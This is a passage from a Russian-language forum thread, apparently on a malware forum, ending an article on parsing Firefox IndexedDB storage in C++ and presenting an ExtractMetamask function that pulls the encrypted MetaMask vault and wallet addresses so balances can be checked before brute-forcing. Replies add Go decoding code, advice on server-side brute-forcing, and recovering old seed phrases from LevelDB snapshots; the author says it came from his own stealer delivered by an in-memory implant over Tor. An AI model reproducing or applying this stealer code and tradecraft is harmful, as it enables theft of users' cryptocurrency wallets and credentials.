            const std::uint64_t uSecondPair = bfRead.template ReadTrivial<std::uint64_t>();
            const std::uint32_t uSecondTag = GetPairTag(uSecondPair);
            if (static_cast<GeckoIDBObjType>(uSecondTag) == GeckoIDBObjType::String)
            {
                const std::uint32_t uSecondData = GetPairData(uSecondPair);
                const bool bIsLatin1 = !!(uSecondData & 0x80000000);
                std::uint32_t uLength = uSecondData & 0x7FFFFFFF;
                if (!bIsLatin1)
                    uLength *= 2;

                {
                    sRegex.push_back('/');
                    auto vStr = bfRead.template ReadByteArrayToContainer<std::vector<std::uint8_t>>(uLength);
                    std::string sStr = ConvertString(bIsLatin1, vStr);
                    sRegex.append(sStr);
                }

                rObj.v.emplace<GeckoIDBJSObject::String>(std::move(sRegex));
                uLength = 8 - ((uLength - 1) & 7) - 1;
                bfRead.SkipBytes(uLength);
            }

            rObjects.push_back(pObj);
            bObjectPushed = true;
            break;
        }
        case GeckoIDBObjType::ArrayObject:
        {
            rObj.v.emplace<GeckoIDBJSObject::Array>();
            rObjects.push_back(pObj);
            bObjectPushed = true;
            break;
        }
        case GeckoIDBObjType::ObjectObject: [[fallthrough]];
        case GeckoIDBObjType::MapObject:
        {
            rObj.v.emplace<GeckoIDBJSObject::ObjectOrMap>();
            rObjects.push_back(pObj);
            bObjectPushed = true;
            break;
        }
        case GeckoIDBObjType::SetObject:
        {
            rObj.v.emplace<GeckoIDBJSObject::Set>();
            rObjects.push_back(pObj);
            bObjectPushed = true;
            break;
        }
        case GeckoIDBObjType::BackReferenceObject:
        {
            const std::uint32_t uData = GetPairData(uPair);
            if (uData >= rObjects.size())
                break;

            pObj = rObjects[uData];
            break;
        }

        case GeckoIDBObjType::SavedFrameObject: [[fallthrough]];
        case GeckoIDBObjType::ArrayBufferObject: [[fallthrough]];
        case GeckoIDBObjType::SharedArrayBufferObject: [[fallthrough]];
        case GeckoIDBObjType::SharedWasmMemoryObject:
        {
            rObj.v.emplace<GeckoIDBJSObject::Null>();
            rObjects.push_back(pObj);
            bObjectPushed = true;
            break;
        }
        default:
            if (uTag < 0xFFF00000)
                rObj.v.emplace<GeckoIDBJSObject::Double>(std::bit_cast<double>(uPair));
            break;
    }

    return bObjectPushed;
}

Ну и для того, чтобы мы могли находить объекты по их индексу / имени, нам нужно имплементировать кастомный хешер и компарер, а для того, чтобы различать типы хешированных данных, мы будем их тагать:
C++:
struct GeckoKeyHash
{
    using is_transparent = void;

    constexpr static std::size_t TYPE_SHIFT = std::numeric_limits<std::size_t>::digits - 2;
    constexpr static std::size_t HASH_MASK = (std::size_t(1) << TYPE_SHIFT) - 1;
    constexpr static std::size_t TYPE_MASK = ~HASH_MASK;

    constexpr static std::size_t HASH_TYPE_POINTER = 0;
    constexpr static std::size_t HASH_TYPE_INT = 1;
    constexpr static std::size_t HASH_TYPE_STRING = 2;

    inline std::size_t operator()(std::string_view) const noexcept;
    inline std::size_t operator()(std::int32_t) const noexcept;
    inline std::size_t operator()(std::shared_ptr<GeckoIDBJSObject>) const noexcept;
};

struct GeckoKeyCompare
{
    using is_transparent = void;

    inline bool operator()(std::string_view, const std::shared_ptr<GeckoIDBJSObject> &) const noexcept;
    inline bool operator()(std::int32_t, const std::shared_ptr<GeckoIDBJSObject> &) const noexcept;
    inline bool operator()(const std::shared_ptr<GeckoIDBJSObject> &, const std::shared_ptr<GeckoIDBJSObject> &) const noexcept;
};

inline std::size_t GeckoKeyHash::operator()(std::string_view svString) const noexcept
{
    std::size_t szHashed = std::hash<std::string_view>{}(svString);
    return (szHashed & HASH_MASK) | (HASH_TYPE_STRING << TYPE_SHIFT);
}

inline std::size_t GeckoKeyHash::operator()(std::int32_t iValue) const noexcept
{
    if constexpr (sizeof(std::uintptr_t) == 8)
        return static_cast<std::size_t>(std::bit_cast<std::uint32_t>(iValue)) | (HASH_TYPE_INT << TYPE_SHIFT);
    else
        return (std::hash<std::int32_t>{}(iValue) & HASH_MASK) | (HASH_TYPE_INT << TYPE_SHIFT);
}

inline std::size_t GeckoKeyHash::operator()(std::shared_ptr<GeckoIDBJSObject> pObj) const noexcept
{
    switch (pObj->v.index())
    {
        case GeckoIDBJSObject::Int: return this->operator()(pObj->GetInt());
        case GeckoIDBJSObject::String: return this->operator()(pObj->GetString());
        default:
        {
            std::uintptr_t szHashed = std::bit_cast<std::uintptr_t>(pObj.get());
            return (szHashed & HASH_MASK) | (HASH_TYPE_POINTER << TYPE_SHIFT);
        }
    }
}

inline bool GeckoKeyCompare::operator()(std::string_view svFirst, const std::shared_ptr<GeckoIDBJSObject> & pSecond) const noexcept
{
    if (!pSecond || !pSecond->IsString()) return false;
    return pSecond->GetString() == svFirst;
}

inline bool GeckoKeyCompare::operator()(std::int32_t iFirst, const std::shared_ptr<GeckoIDBJSObject> & pSecond) const noexcept
{
    if (!pSecond || !pSecond->IsInt()) return false;
    return pSecond->GetInt() == iFirst;
}

inline bool GeckoKeyCompare::operator()(const std::shared_ptr<GeckoIDBJSObject> & pFirst, const std::shared_ptr<GeckoIDBJSObject> & pSecond) const noexcept
{ return pFirst.get() == pSecond.get(); }

А что там с MetaMask?

Что ж, и теперь заключительная часть нашей статьи, то, с чего мы собственно и начали, вытаскивание инфы из экстейшена метамаск. Метамаск хранит дофига данных, но нам интересен лишь его vault и адреса юзера (чтобы мы могли чекнуть их на баланс, прежде чем брутить vault). Метамаск хранит все свои данные по ключу data, чтож, с нашей имплементацией здесь всё довольно тривиально:
C++:
tl::expected<std::string, std::error_code> ExtractMetamask(GeckoIndexedDB<std::string> cIDB) noexcept
{
    auto pKeyData = cIDB.ReadKey("data");
    if (!pKeyData || pKeyData->t != GeckoIDBObjType::ObjectObject)
        return tl::unexpected(std::make_error_code(std::errc::no_message));

    assert(pKeyData->IsObjectOrMap());
    auto & rMainObject = pKeyData->GetObjectOrMap();
 
    std::string sVault;
    std::unordered_set<std::string> sAddresses;

    auto iKeyRingController = rMainObject.find("KeyringController");
    if (iKeyRingController != rMainObject.end() && iKeyRingController->second->IsObjectOrMap())
    {
        auto & rKRCtrlObj = iKeyRingController->second->GetObjectOrMap();
        auto iVaultStr = rKRCtrlObj.find("vault");
        if (iVaultStr != rKRCtrlObj.end() && iVaultStr->second->IsString())
            sVault = iVaultStr->second->GetString();
    }

    auto iAccsController = rMainObject.find("AccountsController");
    if (iAccsController != rMainObject.end() && iAccsController->second->IsObjectOrMap())
    {
        auto & rAccsCtrlObj = iAccsController->second->GetObjectOrMap();
        auto iInternalAccounts = rAccsCtrlObj.find("internalAccounts");
        if (iInternalAccounts != rAccsCtrlObj.end() && iInternalAccounts->second->IsObjectOrMap())
        {
            auto rInternalAccs = iInternalAccounts->second->GetObjectOrMap();
            auto iAccounts = rInternalAccs.find("accounts");
            if (iAccounts != rInternalAccs.end() && iAccounts->second->IsObjectOrMap())
            {
                auto rAccs = iAccounts->second->GetObjectOrMap();

                for (auto [_, rAccObj] : rAccs)
                {
                    if (!rAccObj->IsObjectOrMap())
                        continue;

                    auto & rAcc = rAccObj->GetObjectOrMap();
                    auto iAddr = rAcc.find("address");
                    if (iAddr != rAcc.end() && iAddr->second->IsString())
                    {
                        const std::string & sAcc = iAddr->second->GetString();
                        if (sAcc.starts_with("0x"))
                            sAddresses.insert(sAcc);
                    }
                }
            }
        }
    }

    std::vector<std::string> vAddresses(std::make_move_iterator(sAddresses.begin()), std::make_move_iterator(sAddresses.end()));
    auto sFormattedAddresses = vAddresses.size() ? std::accumulate(std::next(vAddresses.begin()), vAddresses.end(), vAddresses[0],
                                    [](auto && sFirst, auto && sSecond) noexcept { return std::move(sFirst) + ", " + sSecond; }) : std::string();
    return std::format("Vault: {0}\nAddresses: {1}", sVault, sFormattedAddresses);
}

Результат:
metamask.png

На этом всё, я старался сделать статью как можно короче и без лишней воды, но она всё равно получилась немаленькой. Знаю, что статья возможно будет сложно восприниматься хотя бы без средненького технического бекграунда, но я старался всё максимально разжевать по теме, надеюсь вам понравилось. :)


Edit: странно, архив не прикрепился, залил на форумный файлообменник.
DamageLib
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Ты пишешь формат "гековского indexdb", имеется ввиду, что бывают разные форматы indexdb в том же хроме, или в мессенджерах на электроне? Или они одинаковые везде?
 
Ты пишешь формат "гековского indexdb", имеется ввиду, что бывают разные форматы indexdb в том же хроме, или в мессенджерах на электроне? Или они одинаковые везде?
Конечно разные, я же на этом даже акцент в статье сделал:
устройство гековского IndexedDB довольно мудрённое, и в отличии от хромовского LevelDB, который под капотом у его же IndexedDB и который просто хранит пары ключ - значение, гековский IndexedDB хранит JS объекты
В хроме у IndexedDB под капотом LevelDB, а у Gecko собственный формат. Насчет электрона не скажу, но там вроде тоже LevelDB.
 
 
Имя бд похоже всегда одинаковое для всех экстейшенов под всеми ОС, скорее всего оно захардкоженно: 3647222921wleabcEoxlt-eengsairo.sqlite (Впрочем даже если это не так, то можно найти эту бд просто по расширению .sqlite, она там одна в папке). =)
Это так закодировано имя базы данных в данном случае webExtensions-storage-local 4 байта его хеша, потом имя кодируется в url encoded и отзеркаливается строка. В исходниках:


Кстати кому инетересна полная реализация декодировки ключа на golang, оставил ниже. Хотя хз зачем это нужно, даже не видел firefox кош который хранили бы зашифрованные мнемонические фразы в indexeddb, что не скажешь про indexeddb chromium'a, к примеру crypto.com хранит данные именно в indexeddb. Поэтому тс след статься про indexeddb хромиума, там не сложнее реализовать чем в геко. Просто нужно компаратор idb_cmp1 реализовать и v8 десериализатор, но будет зависимость тогда leveldb. Вообще хз зачем именно на плюсах, зачем на клиенте такие парсеры вообще, гораздо проще на бекенд и там уже реализовывать брут. Гораздо проще брать петон. И на тебе все реализовано и indexeddb под gecko - https://gitlab.com/ntninja/moz-idb-edit и indexeddb + local starage и многое другое - https://github.com/cclgroupltd/ccl_chromium_reader/tree/master. А потом тебе надо еще и под сафари а тут все уже готово и под мак этот https://github.com/google/dfindexeddb/tree/main/dfindexeddb/indexeddb/safari. Кстати в последней репе я думаю скоро будет все универсально под все браузеры

Код:
package mozindexeddb

import (
    "bytes"
    "encoding/binary"
    "errors"
    "math"
    "time"
)

// Check https://searchfox.org/mozilla-central/source/dom/indexedDB/Key.cpp

type mozKeyType byte

const (
    mozKeyFloat  mozKeyType = 0x10
    mozKeyDate   mozKeyType = 0x20
    mozKeyString mozKeyType = 0x30
    mozKeyBinary mozKeyType = 0x40
    mozKeyArray  mozKeyType = 0x50
)

const (
    mozTerminator byte = 0

    maxArrayCollapse  byte = 3
    maxRecursionDepth int  = 64

    oneByteAdjust  int = 0x01
    twoByteAdjust  int = -0x7F
    threeByteShift int = 6
)

func decodeNumber(buf []byte, index int, typeAct byte) (float64, int, error) {
    if buf[index]%byte(mozKeyArray) != typeAct {
        return 0, index, errors.New("mozindexeddb: type is not number")
    }
    index++

    valueBytes := make([]byte, 8)
    n := copy(valueBytes, buf[index:])

    var value uint64
    err := binary.Read(bytes.NewReader(valueBytes), binary.BigEndian, &value)
    if err != nil {
        return 0, index, err
    }

    if value&0x8000000000000000 != 0 {
        value &= 0x7FFFFFFFFFFFFFFF
    } else {
        value = -value
    }
    index += n

    floatValue := math.Float64frombits(uint64(value))

    return floatValue, index, nil
}

func decodeDate(buf []byte, index int, typeAct byte) (*time.Time, int, error) {
    timestamp, newIndex, err := decodeNumber(buf, index, typeAct)
    if err != nil {
        return nil, newIndex, err
    }

    utcTime := time.Unix(int64(timestamp), 0).UTC()

    return &utcTime, newIndex, nil
}

func decodeString(buf []byte, index int, typeAct byte) (string, int, error) {
    if buf[index]%byte(mozKeyArray) != typeAct {
        return "", index, errors.New("mozindexeddb: type is not string")
    }
    index++

    result := make([]rune, 0)
    for index < len(buf) && buf[index] != mozTerminator {
        c := buf[index]
        index++

        var r rune
        if c&0x80 == 0 {
            r = rune(c) - rune(oneByteAdjust)
        } else if c&0x40 == 0 {
            r = rune(c) << 8
            if index < len(buf) {
                r |= rune(buf[index])
                index++
            }
            r -= rune(twoByteAdjust)
            r -= 0x8000
        } else {
            r = rune(c) << (16 - threeByteShift)
            if index < len(buf) {
                r |= rune(buf[index]) << (8 - threeByteShift)
                index++
            }
            if index < len(buf) {
                r |= rune(buf[index]) >> threeByteShift
                index++
            }
        }
        result = append(result, r)
    }

    return string(result), index + 1, nil
}

func decodeBinary(buf []byte, index int, typeAct byte) ([]byte, int, error) {
    if buf[index]%byte(mozKeyArray) != typeAct {
        return nil, index, errors.New("mozindexeddb: type is not binary")
    }
    index++

    result := make([]byte, 0)
    for index < len(buf) && buf[index] != mozTerminator {
        c := buf[index]
        index++

        var r rune
        if c&0x80 == 0 {
            r = rune(c) - rune(oneByteAdjust)
        } else if c&0x40 == 0 {
            r = rune(c) << 8
            if index < len(buf) {
                r |= rune(buf[index])
                index++
            }
            r -= rune(twoByteAdjust)
            r -= 0x8000
        }

        result = append(result, byte(r&0xFF))
    }
    return result, index + 1, nil
}

func decodeMozKeyInternal(buf []byte, index int, typeOff byte, recursionDepth int) (idbkey.IDBKey, int, error) {
    if recursionDepth == maxRecursionDepth {
        return idbkey.IDBKey{}, 0, errors.New("mozindexeddb: reach max recursion depth")
    }

    typyAct := buf[index] - typeOff

    if typyAct >= byte(mozKeyArray) {
        result := make([]idbkey.IDBKey, 0)

        typeOff += byte(mozKeyArray)
        if typeOff == byte(mozKeyArray)*maxArrayCollapse {
            index += 1
            typeOff = 0
        }

        for index < len(buf) && buf[index]-typeOff != mozTerminator {
            var item idbkey.IDBKey
            var err error

            item, index, err = decodeMozKeyInternal(buf, index, typeOff, recursionDepth+1)
            if err != nil {
                return idbkey.IDBKey{}, 0, err
            }

            result = append(result, item)

            typeOff = 0
        }

        return idbkey.ToValue(result), index + 1, nil
    } else if typyAct == byte(mozKeyFloat) {
        result, indexNew, err := decodeNumber(buf, index, byte(mozKeyFloat))
        if err != nil {
            return idbkey.IDBKey{}, 0, err
        }
        return idbkey.ToValue(result), indexNew, nil
    } else if typyAct == byte(mozKeyDate) {
        result, indexNew, err := decodeDate(buf, index, byte(mozKeyDate))
        if err != nil {
            return idbkey.IDBKey{}, 0, err
        }
        return idbkey.ToValue(result), indexNew, nil
    } else if typyAct == byte(mozKeyString) {
        result, indexNew, err := decodeString(buf, index, byte(mozKeyString))
        if err != nil {
            return idbkey.IDBKey{}, 0, err
        }
        return idbkey.ToValue(result), indexNew, nil
    } else if typyAct == byte(mozKeyBinary) {
        result, indexNew, err := decodeBinary(buf, index, byte(mozKeyBinary))
        if err != nil {
            return idbkey.IDBKey{}, 0, err
        }
        return idbkey.ToValue(result), indexNew, nil
    }

    return idbkey.IDBKey{}, 0, errors.New("mozindexeddb: unknown key type")
}

func DecodeMozKey(value []byte) (idbkey.IDBKey, error) {
    result, _, err := decodeMozKeyInternal(value, 0, 0, 0)
    if err != nil {
        return idbkey.IDBKey{}, err
    }
    return result, nil
}
 
Кстати кому инетересна полная реализация декодировки ключа на golang, оставил ниже. Хотя хз зачем это нужно, даже не видел firefox кош который хранили бы зашифрованные мнемонические фразы в indexeddb, что не скажешь про indexeddb chromium'a.
ну как видишь на скрине, metamask хранит. =)

Поэтому тс след статься про indexeddb хромиума, там не сложнее реализовать чем в геко. Просто нужно компаратор idb_cmp1 реализовать и v8 десериализатор, но будет зависимость тогда leveldb. Вообще хз зачем именно на плюсах, зачем на клиенте такие парсеры вообще, гораздо проще на бекенд и там уже реализовывать брут
IndexedDB хромиума у меня тоже реализован, точнее сказать LevelDB да, и как с ним работать и так уже знает каждый пастер, а вот как с геко нет. =)
Что касается вопроса, почему на плюсах, ну потому что когда я писал свой стиллер, а это было больше 2-х лет назад, мне был важен как можно меньший размер лога, так как вся коммуникация проходила через тор, а если быть точнее, то через имплант, который уже всё отсылал в тор. Да, у меня собственная реализация клиента тор тоже на плюсах, ещё и асинхронная, на двадцатых корутинах, не спрашивай зачем. Причем размер самого стиллера не имел большого значения, то бишь я мог позволить себе и стиллер в 2 мб весом, так как он в любом случае грузился имплантом с сервера и маппился в память, и существовал только там, поэтому большая часть парсинга была именно на стороне клиента, на плюсах. =)

Edit:
Решил прочекать что там с IndexedDB у хромиума сейчас, вижу они там наоверинженерили (или я что-то не понял, так, мельком глянул):
И похоже теперь он даже в чем-то похож на indexeddb геко, надо будет изучить этот вопрос.

Edti 2:
Спасибо за ссылку на реализацию indexeddb хромиума, если я вернусь к нативной малвари и стиллерам в частности, то реализую у себя и это. =)
 
Последнее редактирование:
IndexedDB хромиума у меня тоже реализован, точнее сказать LevelDB да, и как с ним работать и так уже знает каждый пастер
Регулярками.

Кстати, тот же формат используется для хранения Local Storage и называется он Structured Clone.
Реализация доступна по ссылке, с некоторой документацией.
 
ну как видишь на скрине, metamask хранит. =)
Но он же на самом деле не хранит в indexeddb, это вообще extension db, челы из мозилы риши почему то сериализовать данные, а с хромиума нет.
Решил прочекать что там с IndexedDB у хромиума сейчас, вижу они там наоверинженерили (или я что-то не понял, так, мельком глянул):
IndexedDB Design Doc
Да на самом деле есть хороший разбор https://www.cclsolutionsgroup.com/post/indexeddb-on-chromium. Кстати для хромиума если сервер стоит на node.js, то там же встроенный v8 десериализатор/сериализатор, из пакета v8, просто вызываешь v8.deserialize(value) и все данные в объекты схлопываются, очень удобно и без костылей + поддержка даже самых сложных объектов типа wasm модули, у меня так раньше было.

Может кто знает про снапшоты в levedb, я заметил инетерсную вещь с данными. Для некотрых кошельков типа атомик, смена пароля для юзера бессмыслена потому что в leveldb есть снапшоты, но вроде все бибилиотеки leveldb читают именно самый свежий снапшот. А именно что я здесь скидывал https://github.com/cclgroupltd/ccl_chromium_reader/, тут можно доставать все данные со снапшотов. К примеру юзер создает кошелек с паролем 123 и его не использует, а потом решает сменить его на сложный, но дело в том что сидку можно будет достать и с паролем 123.
на двадцатых корутинах
Пхпхпх вспоминаю как я разбирался с beast и в его корутинах

Компоратор я кстати видел реализованный только один на плюсах, он для https://github.com/google/leveldb. Вот здесь https://github.com/v43d3rm4k4r/ChromiumIndexedDBComparator/tree/main/src. Остается только blink/v8 десириализатор написать
 
Кстати, тот же формат используется для хранения Local Storage и называется он Structured Clone.
Реализация доступна по ссылке, с некоторой документацией.
Да, я же ссылаюсь в своих исходниках и в статье на него, но дополнительный референс никогда не помешает, вдруг кто-то не заметил, спасибо. В следующий раз наверное отдельно ссылки на сурсы и прочие источники буду выносить, в конце статьи. =)

Но он же на самом деле не хранит в indexeddb, это вообще extension db, челы из мозилы риши почему то сериализовать данные, а с хромиума нет.

Да на самом деле есть хороший разбор https://www.cclsolutionsgroup.com/post/indexeddb-on-chromium. Кстати для хромиума если сервер стоит на node.js, то там же встроенный v8 десериализатор/сериализатор, из пакета v8, просто вызываешь v8.deserialize(value) и все данные в объекты схлопываются, очень удобно и без костылей + поддержка даже самых сложных объектов типа wasm модули, у меня так раньше было.

Может кто знает про снапшоты в levedb, я заметил инетерсную вещь с данными. Для некотрых кошельков типа атомик, смена пароля для юзера бессмыслена потому что в leveldb есть снапшоты, но вроде все бибилиотеки leveldb читают именно самый свежий снапшот. А именно что я здесь скидывал https://github.com/cclgroupltd/ccl_chromium_reader/, тут можно доставать все данные со снапшотов. К примеру юзер создает кошелек с паролем 123 и его не использует, а потом решает сменить его на сложный, но дело в том что сидку можно будет достать и с паролем 123.

Компоратор я кстати видел реализованный только один на плюсах, он для https://github.com/google/leveldb. Вот здесь https://github.com/v43d3rm4k4r/ChromiumIndexedDBComparator/tree/main/src. Остается только blink/v8 десириализатор написать
Да ты прав, мои знания насчет хромиума явно устарели.
Насчет компаратора помню, его и экстейшены юзают, про снапшоты leveldb наверное тоже верно, если конечно мы говорим об одном и том же, но для кларификации, в моём понимании снапшоты имеют расширение .ldb и время от времени удаляются, точнее они удаляются постоянно, самые старые, а самый свежий это .log. Я кстати вчера глянул исходники leveldb и заметил несколько изменений, самое очевидное что бросилось в глаза - они добавили поддержку zstd, раньше был только snappy.
За ссылки спасибо, как будет время освежу свои знания. =)
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх